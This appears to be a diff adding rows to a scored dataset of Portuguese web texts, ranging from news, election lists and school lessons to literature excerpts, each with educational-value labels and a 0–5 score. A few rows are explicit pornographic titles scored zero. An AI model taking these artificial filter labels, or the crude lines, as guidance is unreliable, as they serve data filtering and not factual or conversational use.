+Você já observou o funcionamento de um formigueiro durante o verão? Em algumas horas do dia é possível ver filas de formigas, vindas de diversas direções, carregando pedaços de folhas verdes, grãos de arroz, asas de insetos e todo tipo de alimento que elas apreciam.
+Vamos além: você já cometeu a maldade de cutucar a borda de acesso de um formigueiro com um graveto, esparramando um pouco da terra disposta em forma de vulcão? Que criança curiosa nunca fez isso?
+Neste instante, as formigas entram em alvoroço. Elas parecem ficar desorientadas. Enquanto umas tentam atacar o inimigo (experimente colocar seu dedo indicador no meio da bagunça), outras correm para dentro do...",original,original,original,original,2,0.4
+Casal faz uma safadeza escrota no local de trabalho.,original,original,original,original,0,0.0
+"Pedra por pedra, o mapeamento do piso da Basílica do Santo Sepulcro - Vatican News
+Noticiário (12:00 CET) (08/04/2020 13:00)
+Santo Sepulcro - piso
+Pedra por pedra, o mapeamento do piso da Basílica do Santo Sepulcro
+O projeto está sendo realizado pelo Centro para conservação e restauro do patrimônio cultural, Venaria Real (Ccr), de Turim, e pelo Departamento de Ciências de Antiguidades da Universidade La Sapienza, de Roma. Esta é a primeira fase do trabalho.
+Teve inicio o mapeamento ""pedra por pedra"" do piso da Basílica do Santo Sepulcro. Todos os dias, centenas de peregrinos visitam a Basílica. Ao longo dos séculos,milhões de pessoas de todo o mundo caminharam sobre as pedras seculares.
+Andrea Caligaris arquiteto italiano nos contou como esta sendo elaborado o trabalho: Neste momento estou desenhando as pedras, uma por uma, que serão enviadas deste iPad para o computador, a partir do qual obteremos um desenho técnico que será usado juntamente com as informações que estão sendo coletadas pelos restauradores, geólogos e outros que fazem parte da equipe, para entendermos o estado de conservação, o mapeamento das degradações, das superfícies, a fim de formular o projeto de restauração, disse Andrea Caligaris
+O projeto está sendo realizado pelo Centro para conservação e restauro do patrimônio cultural, Venaria Real (Ccr), de Turim, e pelo Departamento de Ciências de Antiguidades da Universidade La Sapienza, de Roma. Esta é a primeira fase do trabalho, após a documentação através de uma varredura a laser em todo o piso da Basílica. Para o arqueólogo Osama Hamdam da Universidade Al Quds de Jerusalém : ""A abordagem do trabalho é para conservação, mesmo que, nesta fase, não esteja totalmente claro o que pode ser preservado ou não"". E ele diz ainda da sua experiência pessoal :
+Estou muito feliz porque terminamos a restauração da Edícula, agora começamos com o piso. Gradualmente a situação da Basílica está melhorando, especialmente no que se refere à segurança dos visitantes, os quais vimos aumentar relativamente no último período. Nosso projeto levará em consideração a segurança dos peregrinos, bem como o aspecto estético, disse Osama Hamdam.
+Santo Sepulcro - mapeamento do piso
+05 fevereiro 2020, 16:16",original,original,original,original,2,0.4
+" Vertentes PE | Candidatos a Vereador em 2012 – Últimas Noticias | Pagina 1 - Lista/Relação de Candidatos às Câmaras Municipais
+Eleições Municipais 2012 - Poder Legislativo - VERTENTES - PE
+Candidatos a vereador 2012 em VERTENTES-PE
+MARCONE [ELEITO POR QP] PTB/14555 1.156
+ZÉ IVANILDO [ELEITO POR QP] PMDB/15123 1.002
+DONA SANTA [ELEITO POR QP] PSDB/45612 958
+PEDRO PANELA [ELEITO POR QP] PSDB/45622 839
+GILSON DA LAVANDERIA [ELEITO POR QP] PTB/14123 674
+CASTANHA [ELEITO POR QP] PSDB/45655 661
+LUIZINHO [ELEITO POR QP] PSD/55678 607
+POLLYANE [ELEITO POR QP] DEM/25555 568
+NATAL [ELEITO POR MÉDIA] PTB/14333 454
+CREUZINHA [SUPLENTE] PSDB/45667 521
+BETO GERMANO [SUPLENTE] PT/13123 405
+HIGO ENFERMEIRO [SUPLENTE] PSDB/45677 384
+PEDRINHO BARBOSA [SUPLENTE] PTB/14567 382
+LOURDES DE NOVINHA [SUPLENTE] PTB/14444 381
+DIDA DE ELDA [SUPLENTE] PMDB/15555 290
+PIETRA [SUPLENTE] PR/22345 278
+LENIVALDO [SUPLENTE] PMDB/15789 264
+IRMÃO ASSIS [SUPLENTE] PTB/14777 228
+PEDRO GONÇALO [SUPLENTE] PR/22123 208
+DEDÉ PATRICIO [SUPLENTE] PDT/12345 203
+ABILIO DO SINDICATO [SUPLENTE] PTB/14678 197
+PAULA DO SALÃO [SUPLENTE] PSDB/45645 190
+IRMÃ NANERY [SUPLENTE] PTB/14234 115
+OSEAS LEAL [SUPLENTE] PTB/14111 83
+BIU GONÇALO [SUPLENTE] PT/13456 78
+RICARDO ALEXANDRE [SUPLENTE] PT/13100 75
+LENILDO MECÂNICO [SUPLENTE] PSDB/45623 69
+ZÉ DO LEITE [SUPLENTE] PDT/12222 56
+JOELMA GOMES [SUPLENTE] PR/22222 56
+ELIANE DO CARUÁ [SUPLENTE] PT/13333 28
+VIVANE SANTOS [PREJUDICADO] DEM/25943
+TAVARES DA CELPE [PREJUDICADO] PT/13111
+GILVAN PEDROSA [PREJUDICADO] DEM/25444
+Candidatos a vereador |2016| em VERTENTES
+Candidatos a vereador |2012| em VERTENTES
+Candidatos a vereador |2008| em VERTENTES
+Candidatos a vereador |2004| VERTENTES",original,original,original,original,1,0.2
+"O e-Aulas é um serviço aberto a todos, ou seja, você não precisa fazer parte da comunidade USP para ter acesso ao conjunto de conteúdos aberto ao público.
+Para usufruir de determinadas facilidades (exemplos: organização de playlists, ferramentas de anotações e etc.), recomendamos que os estudantes realizem seu acesso em modo logado no sistema:
+Caso você seja aluno ou funcionário da USP basta informar seu número USP e senha USP para validar seu acesso no sistema e poder liberar seu acesso a determinados conteúdos de acesso exclusivo.
+Caso você não seja membro da comunidade USP, não tem problema, é possível que você faça seu cadastro no eAulas USP para poder usufruir de determinados recursos que requeiram acesso logado na plataforma. Observe que o uso do sistema é gratuito!
+Uma vez identificado no eAulas é só buscar por vídeos de sua área de interesse. Vá em Pesquisar vídeos e se surpreenda com conteúdos das mais diversas áreas do conhecimento.
+Tudo num clique!
+ATENÇÃO: A maior parte do acervo está aberta para acesso público, entretanto, parte dos conteúdos está disponível sob condições limitadas de acesso.
+O eAulas USP não emite comprovantes de participação ou certificados, não oferece tutoria sobre os conteúdos para o público externo.
+Professor
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+Então disponibilize seus vídeos e outros materiais digitais no e-Aulas. É simples e rápido.
+Basta validar seu acesso no sistema por meio de seu Número e senha USP.
+Não sabe como produzir um vídeo?
+Acesse o tutorial contendo as informações e orientações para te auxiliar em todas as etapas, do processo de elaboração até a divulgação final.
+Sabia que após disponibilizar seus vídeos eles serão indexados pelo Sistema Integrado de Bibliotecas da USP?, basta acessar diretamente o portal de Busca Integrada do SIBI USP.
+Vídeo também é produção acadêmica, publique!
+Outras informações e Política de Uso.
+Aluno
+Assista, aprenda e organize o conteúdo
+É aluno da USP? informe seu número USP e senha USP para validar seu acesso no sistema, e tenha acesso a outras facilidades. Marque seus vídeos favoritos e organize suas playlists.
+Você também pode incluir notas ao longo das videoaulas que são oferecidas! A ferramenta de anotações permite que você marque e comente trechos de uma aula para usá-los depois como complementações aos seus estudos.
+É estudante de outras instituições de ensino? não tem problema, estes recursos também poderão ser utilizados por você gratuitamente, mediante o preenchimento de um cadastro.",original,original,original,original,2,0.4
+Na festinha gozando na boca da esposa de alguém 3 1 5 9,original,original,original,original,0,0.0
+"Alamdicas aborda o filme iraniano ""Fora do Jogo"" (2006), que trata sobre o tema.
+Filme iraniano questiona proibição a mulheres nos estádios de futebol (Foto: Reprodução)
+Que dirá entre Brasil e Irã. Um dos países mais extremistas do mundo em relação à interferência da religião no estado. Onde toda a legislação é baseada em primeiro lugar por interpretações do Alcorão.
+Nos estádios, por exemplo, é expressamente proibida a entrada de mulheres. Não porque está expressamente determinado no livro sagrado do Islã, mas sim porque querem preservá-las das obscenidades ditas pelo público em eventos esportivos. Neste caso, influência indireta da religião.
+É esse o plot de Fora do Jogo (Offside, 2006), dirigido pelo iraniano Jafar Panahi. Tomando por base um evento real, com narrativas fictícias, o filme tem como pano de fundo o jogo decisivo das Eliminatórias para a Copa de 2006, entre Irã e Bahrein, disputado em Teerã. O time da casa precisava apenas de um empate para confirmar a vaga no Mundial da Alemanha.
+Em meio a isso, algumas mulheres apaixonadas pelo esporte tentam se infiltrar na fanática e empolgada multidão de homens que acompanhariam o jogo. Não conseguem e acabam presas pelos guardas, permanecendo do lado de fora do estádio.
+“Fora do Jogo” também retrata união promovida pelo esporte, apesar de diferenças sociais (Foto: Reprodução)
+Aparentemente simples, o roteiro tem, na verdade, múltiplas vertentes. É um estudo crítico sobre a constrangedora situação pela qual passam as mulheres do Irã. É um retrato visual sobre como todas as pesadas questões sociais e religiosas ficam em segundo plano durante os poucos, mas valorosos momentos de festa coletiva proporcionada pelo esporte.
+Questionados sobre a proibição pelas presas a todo momento, os guardas sequer citam o Alcorão. No caminho, soltam o cômico argumento de que as mulheres não poderiam ouvir os desaforos verbais proferidos pelos torcedores contra os adversários e contra a arbitragem. Até chegar ao simbólico “porque não”. Cumprem ordens sem refletir sobre elas.
+Com a classificação iraniana, a barreira entre guardas e presas é quebrada. A festa nas ruas acaba por contagiar até aqueles que não acompanham o esporte mais popular do país. Todos passam a ser iguais, sem hierarquias ou subordinações.
+Nove anos após o lançamento da produção, pouca coisa mudou na legislação iraniana. Contestador, o filme fez muito mais sucesso no ocidente do que em seu país, onde gerou polêmica. As mulheres seguem sem poder frequentar eventos esportivos. No máximo, é permitido que estrangeiras acompanhem certos jogos.
+O nulo Joseph Blatter, preocupado em não perder votos, não tomou qualquer atitude que não fosse as costumeiras declarações políticas na imprensa. Mas em um aspecto o filme de Panahi certamente contribuiu: ainda que timidamente, já existe um debate no país sobre a derrubada da proibição. Partindo das próprias mulheres. É só uma questão de tempo.
+Rodada das Eliminatórias pode marcar a última chance de recorde para “caloteiro” da Guatemala
+Corinthians vai bem no futebol masculino e também no feminino, obrigado",original,original,original,original,4,0.8
+"Secretário visita Centro Socioeducativo Homero de Souza Cruz Filho | GOVERNO DO ESTADO DE RORAIMA
+Início EDUCAÇÃO Secretário visita Centro Socioeducativo Homero de Souza Cruz Filho
+Secretário visita Centro Socioeducativo Homero de Souza Cruz Filho
+O secretário de Educação, Jules Rimet Soares, visitou nesta manhã, 2, o CSE (Centro Socioeducativo) Homero de Souza Cruz Filho. Ele foi acompanhado do juiz Parima Veras, da Vara da Infância e do promotor de justiça Ricardo Fontanella. Eles conheceram as instalações e conversaram com a equipe de atendimento do local.
+No Centro há quatro de salas de aula, laboratório de informática, biblioteca e sala de leitura para atender 97 internos com idade entre 14 a 20 anos. As aulas são ministradas por 23 professores. O local possui ainda quadra de esporte e campo de futebol.
+“O convite foi do juiz Parima Veras e do promotor de justiça Ricardo Fontanella. Fomos verificar o espaço e como ele funciona. Temos profissionais da educação que trabalham no CSE. Somos conscientes do nosso papel e nossa vontade é ajudar a melhorar cada vez mais o atendimento”, disse Rimet.
+O CSE realiza uma ação de inclusão educacional contemplando os adolescentes atendidos na unidade. Esse trabalho é desenvolvido em parceria com a escola Estadual Jaceguai dos Reis Cunha que administra salas de aula instaladas no Centro.
+A matriz pedagógica inclui atividades no contraturno escolar, como o programa Mais Educação, superando as metas estabelecidas no Sistema Nacional de Atendimento Socioeducativo que orienta a oferta de quatro horas/aula por dia. A experiência garantiu à escola a conquista do Prêmio Gestão Escolar, promovido pelo Consed (Conselho Nacional de Secretários de Educação), em 2005.
+Artigo anteriorProfissionais de saúde do HGR participam da 1º Semana de Segurança do Paciente
+Próximo artigoRoraima terá 1ª Conferência Estadual para discutir assistência ao público feminino
+ALTAS HABILIDADES | Inscrições para capacitação estão abertas
+ESCOLAS MILITARIZADAS | Gestores Militares são apresentados em escolas do Interior
+TEMPO INTEGRAL | Secretarias definem projeto para aplicação de recurso",original,original,original,original,3,0.6
+"Textos - Teses - Swellynha
+Páginas : 244 (60778 palavras )
+Recordações do Escrivão Isaías Caminha, de Lima Barreto Fonte: BARRETO, Lima. Recordações do Escrivão Isaías Caminha. São Paulo: Ática, 1995. (Bom Livro). Texto proveniente de: A Biblioteca Virtual do Estudante Brasileiro A Escola do Futuro da Universidade de São Paulo Permitido o uso apenas para fins educacionais. Este material pode ser redistribuído livremente, desde que não seja alterado, eque as informações acima sejam mantidas. Para maiores informações, escreva para . Estamos em busca de patrocinadores e voluntários para nos ajudar a manter este projeto. Se você quer ajudar de alguma forma, mande um e-mail para e saiba como isso é possível.
+A tristeza, a compreensão e a desigualdade de nível mental do meu meio familiar,agiram sobre mim de modo curioso: deram-me anseios de inteligência. Meu pai, que era fortemente inteligente e ilustrado, em começo, na minha primeira infância, estimulou-me pela obscuridade de suas exortações. Eu não tinha ainda entrado para o colégio, quando uma vez me disse: Você sabe que nasceu quando Napoleão ganhou a batalha de Marengo? Arregalei os olhos e perguntei: quem era Napoleão? Umgrande homem, um grande general... E não disse mais nada. Encostou-se à cadeira e continuou a ler o livro. Afastei-me sem entrar na significação de suas palavras; contudo, a entonação de voz, o gesto e o olhar ficaram-me eternamente. Um grande homem!... O espetáculo do saber de meu pai, realçado pela ignorância de minha mãe e de outros parentes dela, surgiu aos meus olhos de criança, como umdeslumbramento. Pareceu-me então que aquela sua faculdade de explicar tudo, aquele seu desembaraço de linguagem, a sua capacidade de ler línguas diversas e compreendê-las constituíam, não só uma razão de ser de felicidade, de abundância e riqueza, mas também um titulo para o superior respeito dos homens e para a superior consideração de toda a gente. Sabendo, ficávamos de alguma maneira sagrados,deificados... Se minha mãe me parecia triste e humilde — pensava eu naquele tempo — era porque não sabia, como meu pai, dizer os nomes das estrelas do céu e explicar a natureza da chuva... Foi com estes sentimentos que entrei para o curso primário. Dediquei-me açodadamente ao estudo. Brilhei, e com o tempo foram-se desdobrando as minhas primitivas noções sobre o saber. Acentuaram-se-me tendências;pus-me a colimar glórias extraordinárias, sem lhes avaliar ao certo a significação e a utilidade. Houve na minha alma um tumultuar de desejos, de aspirações indefinidas. Para mim era como se o mundo me estivesse esperando para continuar a evoluir... Ouvia uma tentadora sibila falar-me, a toda a hora e a todo o instante, na minha glória futura. Agia desordenadamente e sentia a incoerência dos meus atos,mas esperava que o preenchimento final do meu destino me explicasse cabalmente. Veio-me a pose, a necessidade de
+ser diferente. Relaxei-me no vestuário e era preciso que minha mãe me repreendesse para que eu fosse mais zeloso. Fugia aos brinquedos, evitava os grandes grupos, punha-me só com um ou dois, à parte, no recreio do colégio; lá vinha um dia, porém, que brincava doidamente,apaixonadamente. Causava com isso espanto aos camaradas: Oh! O Isaías brincando! Vai chover... A minha energia no estudo não diminuiu com os anos, como era de esperar; cresceu sempre progressivamente. A professora admirou-me e começou a simpatizar comigo. De si para si (suspeito eu hoje), ela imaginou que lhe passava pelas mãos um gênio. Correspondi-lhe à afeição com tanta força d'alma, que tive ciúmesdela, dos seus olhos azuis e dos seus cabelos castanhos, quando se casou. Tinha eu então dois anos de escola e doze de idade. Daí a um ano, sai do colégio, dando-me ela, como recordação, um exemplar do Poder da Vontade, luxuosamente encadernado, com uma dedicatória afetuosa e lisonjeira. Foi o meu livro de cabeceira. Li-o sempre com mão diurna e noturna, durante o meu curso secundário, de cujos...
+Choque cultural entre ...",original,original,original,original,4,0.8
+"Já parou para pensar como seria o mundo sem plantas ou sem animais? Provavelmente, bem diferente, e certamente muito mais difícil para nós, seres humanos! Animais e plantas não vivem isolados; pelo contrário, eles dependem uns dos outros em uma teia complexa de relações que garante o equilíbrio do nosso planeta. Vamos explorar um pouco mais sobre essa interdependência?
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+As plantas, como verdadeiras fábricas de alimento, utilizam a luz do sol, a água e o gás carbônico para produzir seu próprio sustento através da fotossíntese. Nesse processo vital, elas liberam o oxigênio, gás essencial para a respiração da maioria dos seres vivos, incluindo nós e os animais. Imagine só: cada árvore, cada flor, cada folha, contribuindo para que tenhamos ar para respirar! Os animais, por sua vez, desempenham papéis cruciais para as plantas. Muitos deles, como as abelhas, borboletas e beija-flores, são polinizadores, ou seja, transportam o pólen de uma flor para outra, permitindo que as plantas se reproduzam e gerem frutos e sementes. Ao se alimentarem de frutos, alguns animais também ajudam a espalhar as sementes, garantindo que novas plantas cresçam em diferentes lugares.
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+Além disso, os animais herbívoros, como vacas e zebras, se alimentam das plantas, controlando o crescimento excessivo da vegetação. Se não houvesse esses animais, algumas plantas poderiam se espalhar demais e prejudicar outras espécies. E o que acontece com as plantas quando morrem? Elas se decompõem, liberando nutrientes que enriquecem o solo, o qual, por sua vez, nutre outras plantas. Da mesma forma, os animais, quando morrem, também se decompõem, devolvendo nutrientes ao solo. É um ciclo sem fim! Pense em um pomar perto da sua casa. As árvores frutíferas precisam das abelhas para produzir as frutas que você come. As abelhas, por sua vez, precisam das flores das árvores para coletar o néctar e o pólen, que são seus alimentos. É uma parceria perfeita!
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+Essa interdependência entre animais e plantas é fundamental para a saúde do nosso planeta. Quando desmatamos florestas, poluímos rios ou caçamos animais indiscriminadamente, estamos quebrando essa teia e causando desequilíbrios que podem ter consequências graves. Cuidar do meio ambiente, proteger as plantas e os animais, é cuidar de nós mesmos e garantir um futuro melhor para as próximas gerações. Que tal começar a observar a natureza ao seu redor? Quais animais você vê interagindo com as plantas? Como você pode contribuir para proteger essa interação?",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de interdependência entre plantas e animais de forma clara e acessível, adequada para o ensino fundamental. Explica a fotossíntese, a polinização e o ciclo de nutrientes, além de promover a conscientização sobre a importância da preservação ambiental. O texto é coerente, bem escrito e estimula a reflexão e a observação da natureza.",5,1.0
+"Usamos cookies para melhorar a sua navegação. Ao continuar você concorda com nossa Política de Cookies e Políticas de Privacidade.
+Concordo
+Dia de Natal
+Natal ou Dia de Natal é um feriado e festival religioso cristão comemorado anualmente em 25 de dezembro (nos países eslavos e ortodoxos, cujos calendários eram baseados no calendário juliano, o Natal é comemorado no dia 7 de janeiro). A data é o centro das festas de fim de ano e da temporada de férias, sendo, no cristianismo, o marco inicial do Ciclo do Natal, que dura doze dias.
+Originalmente destinada a celebrar o nascimento anual do Deus Sol no solstício de inverno (natalis invicti Solis), a festividade foi ressignificada pela Igreja Católica no século III para estimular a conversão dos povos pagãos sob o domínio do Império Romano e então passou a comemorar o nascimento de Jesus de Nazaré.
+Embora tradicionalmente seja um dia santificado cristão, o Natal é amplamente comemorado por muitos não cristãos, sendo que alguns de seus costumes populares e temas comemorativos têm origens pré-cristãs ou seculares. Costumes populares modernos típicos do feriado incluem a troca de presentes e cartões, a Ceia de Natal, músicas natalinas, festas de igreja, uma refeição especial e a exibição de decorações diferentes; incluindo as árvores de Natal, pisca-piscas e guirlandas, visco, presépios e ilex. Além disso, o Papai Noel (conhecido como Pai Natal em Portugal) é uma figura mitológica popular em muitos países, associada com os presentes para crianças.
+Como a troca de presentes e muitos outros aspectos da festa de Natal envolvem um aumento da atividade econômica entre cristãos e não cristãos, a festa tornou-se um acontecimento significativo e um período chave de vendas para os varejistas e para as empresas. O impacto econômico da comemoração é um fator que tem crescido de forma constante ao longo dos últimos séculos em muitas regiões do mundo.",original,original,original,original,3,0.6
+"Todo mundo sabe que o som alto é prejudicial à saúde dos ouvidos, mas parece que, mesmo com os alarmes dos especialistas, ninguém anda ligando muito para isso. O Suadieta vai ajudar você a entender de uma vez por todas porque além dos ouvidos, todo o seu corpo pode estar em risco quando você leva uma vida barulhenta demais.
+Quando o volume alto do som se estende por uma noite inteira, o sono é interrompido. Você acorda com o coração batendo mais rápido, sua pressão sanguínea sobe e os hormônios do estresse são liberados. Afinal, é importante você saber que, mesmo quando se está dormindo, os ouvidos continuam monitorando o ambiente no qual estamos na tentativa de identificar possíveis perigos. Como nas grandes cidades não corremos o risco de ser atacado por uma fera selvagem, a herança que nos restou foi a ansiedade e o estresse cardiovascular. Ou seja, além de tomar um baita susto na madrugada isso compromete a saúde do seu coração.
+A questão é que ruídos altos estamos acostumados ou não, são sempre prejudiciais a nossa saúde. Seja buzina de carro, ronco de caminhão, uma “simples” avenida movimentada, rádio ligado, celular tocando… É difícil que tantos sons produzidos ao mesmo tempo passem despercebidos. Imagina se forem altos? É importante tomar cuidado e se lembrar sempre de que o malefício mais direto do excesso de barulho é a perda auditiva. Uma vez danificadas as células que levam o estímulo auditivo ao nosso cérebro, nunca mais elas serão as mesmas. Quando o incomodo vier, pode ser tarde demais.
+A Astir disponibiliza profissional fonoaudióloga; (A fonoaudiologia ou Terapia da fala e Audiologia, antes denominada logopedia é a ciência que tem como objeto de estudo as funções neurovegetativas (mastigação, deglutição e aspectos funcionais da respiração) e a comunicação humana neurológica mais complexa que o sistema nervoso pode processar no que se refere ao seu…)
+Não considere quaisquer informações apresentadas nesta apresentação como aconselhamento médico ou diagnóstico. Você deve sempre consultar o seu médico ou profissional de saúde qualificado e especializado (fonoaudiólogo), antes de seguir qualquer TIPO DE ACONSELHAMENTO OU SE AUTOMEDICAR baseado nessas dicas. A Astir, não se responsabiliza pelo conteúdo do texto da fonte. (Nota da assessoria de imprensa)",original,original,original,original,2,0.4
+"Olá, exploradores do conhecimento! Já pararam para pensar na imensidão do nosso Brasil? Um país gigante, cheio de cores, sabores e culturas diferentes! Hoje, vamos embarcar em uma aventura para desvendar um pouco mais sobre os estados e regiões que formam essa terra tão rica.
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+Imagine o Brasil como um grande quebra-cabeça, onde cada peça representa um estado. Cada um deles possui sua própria história, costumes e paisagens. Para facilitar o estudo e a organização desse território tão vasto, os geógrafos dividiram o Brasil em cinco grandes regiões: Norte, Nordeste, Centro-Oeste, Sudeste e Sul.
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+Cada região tem suas características marcantes. A Região Norte, por exemplo, abriga a Floresta Amazônica, o maior tesouro natural do planeta. Já o Nordeste encanta com suas praias paradisíacas e a alegria contagiante do seu povo. No Centro-Oeste, encontramos o Pantanal, um paraíso da biodiversidade, e a capital do país, Brasília. A Região Sudeste, com suas grandes cidades como São Paulo e Rio de Janeiro, pulsa com a economia e a cultura. E, finalmente, a Região Sul, com suas paisagens europeias e a forte influência da imigração, completa o nosso mosaico.
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+Mas por que essa divisão é importante? Bem, ao agrupar os estados em regiões, podemos entender melhor as características em comum entre eles, como o clima, a vegetação, a economia e os aspectos culturais. Por exemplo, muitos estados do Nordeste sofrem com a seca, enquanto os estados do Sul têm invernos rigorosos. Compreender essas diferenças nos ajuda a encontrar soluções para os problemas e a valorizar as potencialidades de cada região.
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+Além disso, conhecer os estados e regiões do Brasil nos ajuda a entender a nossa identidade como brasileiros. Afinal, somos um povo miscigenado, com influências indígenas, africanas, europeias e asiáticas. Cada região contribui com sua culinária, música, dança e festas para a formação da nossa cultura. Já experimentaram um acarajé baiano, um churrasco gaúcho ou um tacacá amazônico? Cada prato conta uma história e revela um pouco da alma brasileira.
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+Para finalizarmos nossa viagem, que tal pensarmos um pouco sobre o lugar onde vivemos? Em qual estado e região você mora? Quais são as características que tornam sua região única? Quais são os desafios e as oportunidades que ela oferece? Conhecer o nosso Brasil é um passo fundamental para construirmos um futuro mais justo e igualitário para todos. Afinal, somos todos brasileiros, parte de um país gigante e cheio de possibilidades!",Geografia,Estados e regiões do Brasil,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional, adequado para o Ensino Fundamental. Introduz o conceito das regiões do Brasil de forma clara e convidativa, estimulando o interesse dos alunos. Aborda aspectos geográficos, culturais e econômicos, promovendo a compreensão da diversidade brasileira e incentivando a reflexão sobre a identidade nacional e os desafios regionais. A linguagem é acessível e o conteúdo é relevante para o currículo escolar, embora possa ser complementado com informações mais detalhadas.",5,1.0
+"Um homem foi parar no hospital após um chuveirinho de 15 centímetros ficar preso em seu reto. O rapaz de 26 anos, que não teve a identidade divulgada, disse aos médicos que caiu em cima do objeto durante o banho em sua casa, na Índia, e que resolveu procurar ajuda após tentar retirá-lo sozinho e não ser bem-sucedido.
+De acordo com informações do Daily Mail , os paramédicos do Hospital Ram Manohar Lohia e do Instituto de Pós-Graduação em Educação Médica e Pesquisa em Nova Deli explicaram, por meio de um relatório, que acreditavam que o chuveirinho foi utilizado para “fins eróticos”.
+A equipe contou que o indiano ficou com a cabeça do chuveiro auxiliar e uma parte da tubulação presas no reto, e que reclamou de dores na região. Exames foram executados para avaliar o caso, e o rapaz está saudável, sem apresentar sangramentos internos.
+O paciente passou por um longo processo de cirurgia, tendo o objeto retirado do ânus. Os médicos expuseram que mais exames tiveram de ser realizados para verificar se algum dano havia sido causado ao intestino grosso do rapaz.
+Depois de identificar que o paciente estava realmente bem, ele ficou em observação por dois dias e recebeu alta após o tempo de recuperação na clínica. Sugerimos que ele passasse por consultas com psiquiatras, mas ele se recusou”, informaram.
+Ainda segundo o documento elaborado pelos médicos, “extrações de corpos estranhos” do reto das pessoas são bastante comuns, principalmente entre homens de 30 a 40 anos. “Geralmente, esses pacientes ocultam informações acerca do caso por medo de serem hostilizados, o que jamais faremos. Indicamos que contem exatamente o que ocorreu para que possamos diagnosticá-los e executar exames apropriados para perfurações, infecções, dores abdominais e sangramentos intensos”, destacaram os médicos em documento.
+Embora esses incidentes, na maioria das vezes, não sejam perigosos, os autores do estudo ressaltaram que nos casos em que há sangramento interno ou em que a condição do paciente é instável, o objeto deve ser removido cirurgicamente. Eles também expuseram que, além do chuveirinho, lâmpadas de vidro, vegetais e barras de ferro já foram retirados de dentro dos acidentados.",original,original,original,original,0,0.0
+"Arquivo para Ganesha - Nowmastê
+Post marcado com: ""Ganesha""
+21 de dezembro de 2018 ×	1 comentário
+29 de maio de 2016 ×	9 comentários
+17 de setembro de 2015 ×	7 comentários
+OM GAM GANAPATAYE NAMAHA SHARANAN GANESHA!!! Este mantra é um dos mais conhecidos no hinduismo e fácil de pronunciar. É uma invocação a Ganapati (outro nome de Ganesha) e serve para remover os obstáculos, tanto materiais como espirituais. Este mantra atua muito rápido, vale a pena experimentar. OM é a invocação […]
+10 de abril de 2015 ×	59 comentários
+Ganesha é uma divindade muito amada e frequentemente invocada, já que é o Deus da Boa Fortuna – quem proporciona prosperidade e fortuna – e também o Destruidor de Obstáculos, de ordem material ou espiritual. É por este motivo que sua graça é invocada antes de iniciar qualquer tarefa (por exemplo: viajar, […]
+1 de setembro de 2014 ×	0 comentários",original,original,original,original,1,0.2
+"(83) 4097-0843 - 0 Comentário(s)
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+Telefone 4097-0843 De quem é 4097 0843
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+"Ação Cooperada em Formosa do Sul/SC • Programa Vozes do Corpo encerra com apresentações de dança ao som de grandes ícones culturais • Fundação Aury Luiz Bodanese e Aurora Coop oficializam a união de 21 casais no Casamento Cooperado • Ação Cooperada em Saudades/SC • FALB e Aurora Coop sensibilizam colaboradores sobre sustentabilidade • FALB e Aurora Coop celebram a união de 22 casais • Voluntários ajudam a revitalizar espaço escolar • Ação Cooperada em Joaçaba/SC • Aurora Coop e FALB reconhecem professores com o Prêmio Educador Eco Criativo • Voluntários da Aurora Coop engajados na preservação do meio ambiente
+Destaques
+Amigo Energia Ação Cooperada em Formosa do Sul/SC
+Juntamente com os voluntários da Unidade Aurora Coop de Quilombo (SC), foi realizada mais uma Ação Cooperada. A ação aconteceu no município de Formosa...
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+Vozes do corpo Programa Vozes do Corpo encerra com apresentações de dança ao som de grandes ícones culturais
+Uma tarde marcada por demonstrações de talento, diversão e interatividade. Assim foi o encerramento das atividades deste ano do Programa Vozes do Corpo...
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+Amigo Energia Fundação Aury Luiz Bodanese e Aurora Coop oficializam a união de 21 casais no Casamento Cooperado
+Em momentos marcados por emoção e alegria, 21 casais celebraram a união no último fim de semana durante a segunda edição deste ano do Casamento Cooperado,...
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+Amigo Energia Ação Cooperada em Saudades/SC
+A Fundação Aury Luiz Bodanese realiza mais uma Ação Cooperada. Em parceria com a Cooperativa Filiada ao Sistema Aurora Coop - Cooperativa Regional Itaipu,...
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+Voluntários da Aurora Coop engajados na preservação do meio ambiente
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+FALB e Aurora Coop fortalecem ações de inclusão das pessoas com deficiência
+Formatura do Curso de Qualificação para PCD e Workshop Viva as Diferenças...
+Prêmio Educador Eco Criativo
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+nossos programas
+Integrar as pessoas com deficiência e entidades, promovendo o desenvolvimento pessoal, profissional e social.
+Primar pelo bem-estar das pessoas com ênfase na prevenção, promoção, humanização e redução de danos, garantindo o acesso aos direitos pessoais, sociais e institucionais
+Incentivar e consolidar o trabalho voluntário na comunidade e promover a educação para o exercício consciente da cooperação e sustentabilidade.
+Organizar o acervo documental da Aurora Alimentos e seus fundadores, garantindo assim sua preservação e a valorização.
+O Programa Vozes do Corpo tem por objetivo Proporcionar através da prática da dança vivências que estimulem o desenvolvimento pessoal, social e cultural das crianças e adolescentes.
+Executar ações de educação ambiental que promovam o despertar da importância da conservação e preservação dos recursos naturais, buscando a cooperação e a conexão harmônica com o meio ambiente.",original,original,original,original,1,0.2
+"luta contra qualquer um mas peguem leve por favor ainda sou iniciante
+Assunto: luta contra qualquer um mas peguem leve por favor ainda sou iniciante Ter Abr 20, 2010 6:10 pm
+Assunto: Re: luta contra qualquer um mas peguem leve por favor ainda sou iniciante Ter Abr 20, 2010 8:48 pm
+Assunto: Re: luta contra qualquer um mas peguem leve por favor ainda sou iniciante Sex Abr 23, 2010 5:19 pm
+bakupod:skyrees entra na batalha com 360 gs e sousa com ..........
+Assunto: Re: luta contra qualquer um mas peguem leve por favor ainda sou iniciante Seg Abr 26, 2010 4:01 pm
+Assunto: Re: luta contra qualquer um mas peguem leve por favor ainda sou iniciante",original,original,original,original,0,0.0
+"Fechamos com chave de ouro as fotos da Clarinha. Já publiquei aqui no site o primeiro ensaio que fizemos dela antes da festa de 15 anos e por último fizemos um ensaio com a Clara e suas amigas Gabi, Lara e Duda.
+Obrigada meninas pela diversão, pela energia positiva e total disposição! Fazer ensaios deliciosos como esse são o que me inspiram a eternizar memórias através das minhas lentes.",original,original,original,original,0,0.0
+"O Estatuto do Aluno e Ética Escolar, aprovado pela Lei nº 51/2012, de 5 de Setembro, estabelece os direitos e deveres dos alunos dos ensinos básico e secundário e o compromisso dos pais ou encarregados de educação e dos restantes membros da comunidade educativa na sua educação.",original,original,original,original,3,0.6
